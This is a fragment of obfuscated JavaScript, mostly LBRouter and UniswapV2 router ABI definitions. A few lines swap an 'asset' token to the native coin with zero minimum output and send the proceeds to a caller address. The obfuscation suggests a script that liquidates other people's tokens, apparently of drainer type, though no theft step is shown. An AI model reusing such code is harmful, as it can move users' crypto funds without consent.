type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__SenderIsNotWNATIVE", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "id", | |
type: "uint256" | |
}], | |
name: "LBRouter__SwapOverflows", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "excess", | |
type: "uint256" | |
}], | |
name: "LBRouter__TooMuchTokensIn", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserve", | |
type: "uint256" | |
}], | |
name: "LBRouter__WrongAmounts", | |
type: "error" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "msgValue", | |
type: "uint256" | |
}], | |
name: "LBRouter__WrongNativeLiquidityParameters", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "LBRouter__WrongTokenOrder", | |
type: "error" | |
}, { | |
inputs: [], | |
name: "TokenHelper__TransferFailed", | |
type: "error" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "contract IERC20", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "contract IERC20", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "binStep", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountXMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "activeIdDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "idSlippage", | |
type: "uint256" | |
}, { | |
internalType: "int256[]", | |
name: "deltaIds", | |
type: "int256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "distributionX", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "distributionY", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "refundTo", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
internalType: "struct ILBRouter.LiquidityParameters", | |
name: "liquidityParameters", | |
type: "tuple" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountXAdded", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYAdded", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountXLeft", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYLeft", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "depositIds", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "liquidityMinted", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "contract IERC20", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "contract IERC20", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "binStep", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountXMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "activeIdDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "idSlippage", | |
type: "uint256" | |
}, { | |
internalType: "int256[]", | |
name: "deltaIds", | |
type: "int256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "distributionX", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "distributionY", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "refundTo", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
internalType: "struct ILBRouter.LiquidityParameters", | |
name: "liquidityParameters", | |
type: "tuple" | |
}], | |
name: "addLiquidityNATIVE", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountXAdded", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYAdded", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountXLeft", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYLeft", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "depositIds", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "liquidityMinted", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IERC20", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "contract IERC20", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "activeId", | |
type: "uint24" | |
}, { | |
internalType: "uint16", | |
name: "binStep", | |
type: "uint16" | |
}], | |
name: "createLBPair", | |
outputs: [{ | |
internalType: "contract ILBPair", | |
name: "pair", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getFactory", | |
outputs: [{ | |
internalType: "contract ILBFactory", | |
name: "lbFactory", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBPair", | |
name: "pair", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "price", | |
type: "uint256" | |
}], | |
name: "getIdFromPrice", | |
outputs: [{ | |
internalType: "uint24", | |
name: "", | |
type: "uint24" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getLegacyFactory", | |
outputs: [{ | |
internalType: "contract ILBLegacyFactory", | |
name: "legacyLBfactory", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getLegacyRouter", | |
outputs: [{ | |
internalType: "contract ILBLegacyRouter", | |
name: "legacyRouter", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBPair", | |
name: "pair", | |
type: "address" | |
}, { | |
internalType: "uint24", | |
name: "id", | |
type: "uint24" | |
}], | |
name: "getPriceFromId", | |
outputs: [{ | |
internalType: "uint256", | |
name: "", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBPair", | |
name: "pair", | |
type: "address" | |
}, { | |
internalType: "uint128", | |
name: "amountOut", | |
type: "uint128" | |
}, { | |
internalType: "bool", | |
name: "swapForY", | |
type: "bool" | |
}], | |
name: "getSwapIn", | |
outputs: [{ | |
internalType: "uint128", | |
name: "amountIn", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "amountOutLeft", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "fee", | |
type: "uint128" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBPair", | |
name: "pair", | |
type: "address" | |
}, { | |
internalType: "uint128", | |
name: "amountIn", | |
type: "uint128" | |
}, { | |
internalType: "bool", | |
name: "swapForY", | |
type: "bool" | |
}], | |
name: "getSwapOut", | |
outputs: [{ | |
internalType: "uint128", | |
name: "amountInLeft", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "amountOut", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "fee", | |
type: "uint128" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getV1Factory", | |
outputs: [{ | |
internalType: "contract IJoeFactory", | |
name: "factoryV1", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getWNATIVE", | |
outputs: [{ | |
internalType: "contract IWNATIVE", | |
name: "wnative", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IERC20", | |
name: "tokenX", | |
type: "address" | |
}, { | |
internalType: "contract IERC20", | |
name: "tokenY", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "binStep", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "amountXMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountYMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "ids", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountY", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IERC20", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint16", | |
name: "binStep", | |
type: "uint16" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountNATIVEMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256[]", | |
name: "ids", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}, { | |
internalType: "address payable", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityNATIVE", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountNATIVE", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256[]", | |
name: "pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "enum ILBRouter.Version[]", | |
name: "versions", | |
type: "uint8[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "tokenPath", | |
type: "address[]" | |
}], | |
internalType: "struct ILBRouter.Path", | |
name: "path", | |
type: "tuple" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactNATIVEForTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256[]", | |
name: "pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "enum ILBRouter.Version[]", | |
name: "versions", | |
type: "uint8[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "tokenPath", | |
type: "address[]" | |
}], | |
internalType: "struct ILBRouter.Path", | |
name: "path", | |
type: "tuple" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactNATIVEForTokensSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMinNATIVE", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256[]", | |
name: "pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "enum ILBRouter.Version[]", | |
name: "versions", | |
type: "uint8[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "tokenPath", | |
type: "address[]" | |
}], | |
internalType: "struct ILBRouter.Path", | |
name: "path", | |
type: "tuple" | |
}, { | |
internalType: "address payable", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForNATIVE", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMinNATIVE", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256[]", | |
name: "pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "enum ILBRouter.Version[]", | |
name: "versions", | |
type: "uint8[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "tokenPath", | |
type: "address[]" | |
}], | |
internalType: "struct ILBRouter.Path", | |
name: "path", | |
type: "tuple" | |
}, { | |
internalType: "address payable", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForNATIVESupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256[]", | |
name: "pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "enum ILBRouter.Version[]", | |
name: "versions", | |
type: "uint8[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "tokenPath", | |
type: "address[]" | |
}], | |
internalType: "struct ILBRouter.Path", | |
name: "path", | |
type: "tuple" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256[]", | |
name: "pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "enum ILBRouter.Version[]", | |
name: "versions", | |
type: "uint8[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "tokenPath", | |
type: "address[]" | |
}], | |
internalType: "struct ILBRouter.Path", | |
name: "path", | |
type: "tuple" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256[]", | |
name: "pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "enum ILBRouter.Version[]", | |
name: "versions", | |
type: "uint8[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "tokenPath", | |
type: "address[]" | |
}], | |
internalType: "struct ILBRouter.Path", | |
name: "path", | |
type: "tuple" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapNATIVEForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amountsIn", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountNATIVEOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256[]", | |
name: "pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "enum ILBRouter.Version[]", | |
name: "versions", | |
type: "uint8[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "tokenPath", | |
type: "address[]" | |
}], | |
internalType: "struct ILBRouter.Path", | |
name: "path", | |
type: "tuple" | |
}, { | |
internalType: "address payable", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactNATIVE", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amountsIn", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256[]", | |
name: "pairBinSteps", | |
type: "uint256[]" | |
}, { | |
internalType: "enum ILBRouter.Version[]", | |
name: "versions", | |
type: "uint8[]" | |
}, { | |
internalType: "contract IERC20[]", | |
name: "tokenPath", | |
type: "address[]" | |
}], | |
internalType: "struct ILBRouter.Path", | |
name: "path", | |
type: "tuple" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amountsIn", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract IERC20", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
name: "sweep", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "contract ILBToken", | |
name: "lbToken", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256[]", | |
name: "ids", | |
type: "uint256[]" | |
}, { | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
name: "sweepLBToken", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x5c7527 = new ethers.Contract(_0x2b7b1b, _0x194195, _0x9d9505); | |
let _0x56afdf = await _0x5c7527.getWNATIVE(); | |
let _0x200231 = []; | |
_0x200231[0] = _0x4f37a4.asset.token; | |
_0x200231[1] = _0x56afdf; | |
return [_0x5c7527.swapExactTokensForNATIVE(_0x4f37a4.asset.amount, 0, [[0], [0], _0x200231], this.caller, _0x1b1427), _0x56afdf]; | |
} | |
case "UniswapV2": | |
{ | |
let _0x3ec42c = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WETH", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountADesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountIn", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountOut", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsIn", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsOut", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveB", | |
type: "uint256" | |
}], | |
name: "quote", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETHSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapETHForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
